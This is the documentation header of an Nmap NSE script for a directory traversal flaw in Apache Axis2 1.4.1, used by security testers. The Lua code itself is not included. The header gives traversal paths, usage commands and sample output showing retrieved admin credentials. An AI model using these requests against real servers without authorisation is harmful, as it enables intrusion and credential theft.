description = [[ http-axis2-dir-traversal exploits a directory traversal vulnerability in Apache Axis2 version 1.4.1 by sending a specially crafted request to the parameter xsd (OSVDB-59001). By default it will try to retrieve the configuration file of the Axis2 service '/conf/axis2.xml' using the path '/axis2/services/' to return the username and password of the admin account. To exploit this vulnerability we need to detect a valid service running on the installation so we extract it from /listServices before exploiting the directory traversal vulnerability. By default it will retrieve the configuration file, if you wish to retrieve other files you need to set the argument http-axis2-dir-traversal.file correctly to traverse to the file's directory. Ex. ../../../../../../../../../etc/issue To check the version of an Apache Axis2 installation go to: http://domain/axis2/services/Version/getVersion Reference: * http://osvdb.org/show/osvdb/59001 * http://www.exploit-db.com/exploits/12721/ ]] --- -- @usage -- nmap -p80,8080 --script http-axis2-dir-traversal --script-args 'http-axis2-dir-traversal.file=../../../../../../../etc/issue' -- nmap -p80 --script http-axis2-dir-traversal -- -- @output -- 80/tcp open http syn-ack -- |_http-axis2-dir-traversal.nse: Admin credentials found -> admin:axis2 -- -- @args http-axis2-dir-traversal.file Remote file to retrieve -- @args http-axis2-dir-traversal.outfile Output file -- @args http-axis2-dir-traversal.basepath Basepath to the services page.
